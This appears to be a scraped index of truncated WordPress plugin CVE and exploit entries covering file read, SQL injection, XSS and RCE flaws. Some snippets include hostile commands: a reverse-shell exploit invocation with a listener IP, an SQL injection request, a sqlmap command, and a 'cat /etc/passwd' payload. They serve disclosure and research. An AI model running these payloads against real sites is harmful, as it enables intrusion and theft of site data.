WooCommerce Designer Pro <= 1.9.28 - Arbitrary File Read

WooCommerce Designer Pro theme for WordPress = 1.9.28 contains an arbitrary file read vulnerability caused by improper input validation, letting unauthenticated attackers read arbitrary files including sensitive configuration files, exploit requires no authentication. id: CVE-2025-10897 info: nam...

WordPress JSmol2WP <=1.07 - Local File Inclusion

WordPress JSmol2WP plugin 1.07 is susceptible to local file inclusion via ../ directory traversal in query=php://filter/resource= in the jsmol.php query string. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context...

CVE-2019-14314

CVE-2019-14314 CVE-2019-14314 - NextGEN Gallery 3.2.10 Authenticated SQL Injection Usage root@kitploit: usage: cve201914314.py -h url loginuser loginpass username CVE-2019-14314 Hash Extractor positional arguments: url Wordpress blog URL loginuser Username to login with loginpass Password to logi...

Vitepos-CVE-Report

Vitepos-CVE-Report Disclosure for CVE-2025-13156 CVE-2025-13156 - Vulnerability in Vitepos – Point of Sale POS for WooCommerce This repository discloses a vulnerability discovered in Vitepos – Point of Sale POS for WooCommerce = 3.3.0,WordPress plugin developed by appsbd. 🛠 Affected Version Produ...

MSAPer

MSAPer | CVE-2023-3076 - MStore API Automatic Mass Tool for check and exploiting vulnerability in CVE-2023-3076 - MStore API install.sh sha1sum install.sh | grep 12345678 md5sum install.sh sha512sum install.sh bash install.sh How To Use Make sure you already install Parallel! Then do: git clone...

Flo-Forms-CVE-Report

Flo-Forms-CVE-Report Disclosure for CVE-2025-13159 CVE-2025-13159 - Vulnerability in Flo Forms – Easy Drag & Drop Form Builder This repository discloses a vulnerability discovered in Flo Forms – Easy Drag & Drop Form Builder = 1.0.43,WordPress plugin developed by flothemesplugins. 🛠 Affected...

Drag-and-Drop-Multiple-File-Uploader-PRO-Path-Traversal

CVE-2023-1112 - Drag and Drop Multiple File Uploader PRO - Contact Form 7 v5.0.6.1 Path Traversal Info Path Traversal in Drag and Drop Multiple File Uploader PRO - Contact Form 7 version 5.0.6.1 allows unauthenticated remote attacker to upload files anywhere writable on the remote server...

CVE-2025-5287

🔥 WordPress Likes and Dislikes Plugin ≤ 1.0.0 - Unauthenticated SQL Injection 🧠 CVE ID: CVE-2025-5287 Discovered by: KhaledAlenazi Nxploited Published on: 27 May, 2025 📋 Description The Likes and Dislikes Plugin for WordPress is vulnerable to SQL Injection through the post parameter in all versio...

WordPress-NotificationX-CVE-2024-1698

Set-up root@kitploit: docker-compose up --build Clean up root@kitploit: docker-compose down Testing root@kitploit: Measure-Command curl.exe http://localhost/wp-json/notificationx/v1/analytics -Method Post -Body 'nxid=1337&type=clicks=IFASCIISUBSTRINGselect userpass from wpusers where...

CVE-2026-16786

The Live Composer – Free WordPress Website Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via dslcmoduletestimonialsoutput Shortcode in all versions up to, and including, 2.1.19 due to insufficient input sanitization and output escaping. This makes it possible for...

CVE-2026-15101

The WPBakery Page Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'data' parameter in all versions up to, and including, 8.7.4 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with subscriber-level...

CVE-2020-24186_reverse_shell_upload

CVE-2020-24186 reverse shell upload Exploit for WpDiscuz 7.0.4 based on the the exploit written by h3v0x. Exploits the vulnerability and uploads a reverse PHP shell. Inspiration was the Blogger CTF. exploit.py -u http://192.168.1.81/blog -p /wordpress/2021/06/blogpost -l '192.168.1.9' -s 9001...

CVE-2025-2005

CVE-2025-2005 - Pwn en WordPress Front-End Users Plugin By h4ckxel Info Rápida Plugin: Front-End Users Versiones vulnerables: = 3.2.32 Tipo de fallo: Arbitrary File Upload CVSS Score: 10 Crítico Riesgo: Permite a cualquier atacante sin auth subir archivos arbitrarios ej. web shells PHP y...

CVE-2025-34085

CVE-2025-34085 — WordPress Simple File List Unauthenticated RCE An automated exploit for CVE-2025-34085 duplicate of CVE-2020-36847, a critical unauthenticated remote code execution vulnerability in the WordPress Simple File List plugin versions ≤ 4.2.2. Note: CVE-2025-34085 was rejected by MITRE...

CVE-2025-2011

CVE-2025-2011 - Depicter Plugin SQL Injection Vulnerability CVE Reference: CVE-2025-2011 This repository contains a proof-of-concept environment for testing the SQL injection vulnerability in Depicter Slider & Popup Builder plugin versions 3.6.2. Prerequisites Docker Docker Compose Python 3.x...

CVE-2022-1598

CVE-2022-1598 WPQA where ID is numeric and can be bruteforced! Nuclei Template: CVE-2022-1598.yaml VIDEO POC:...

CVE-2019-9978

CVE-2019-9978 - Social Warfare WordPress Plugin RCE system'cat /etc/passwd' ✅ Step 2 – Start a Python HTTP Server Use Python to serve your payload: root@kitploit:...

CVE-2025-22652

CVE-2025-22652 1️⃣ Component type WordPress plugin 2️⃣ Component details Component name Payment Forms for Paystack Vulnerable version = 4.0.1 Component slug payment-forms-for-paystack Component link https://wordpress.org/plugins/payment-forms-for-paystack/ 3️⃣ OWASP 2017: TOP 10 Vulnerability class...

CVE-2024-6205

CVE-2024-6205 pip install requests This is a python written PoC of a recent vulnerability in a wordpress plugin. More information on that here https://nvd.nist.gov/vuln/detail/CVE-2024-6205 https://cvefeed.io/vuln/detail/CVE-2024-6205...

CVE-2023-6063

CVE-2023-6063 PoC Reference Unauthenticated SQL Injection Vulnerability Addressed in WP Fastest Cache 1.2.2 | WPScan Plugin setting Enable "WP Fastest Cache". PoC The "wordpressloggedin" cookie parameter is vulnerable. root@kitploit: $ python sqlmap.py --dbms=mysql -u...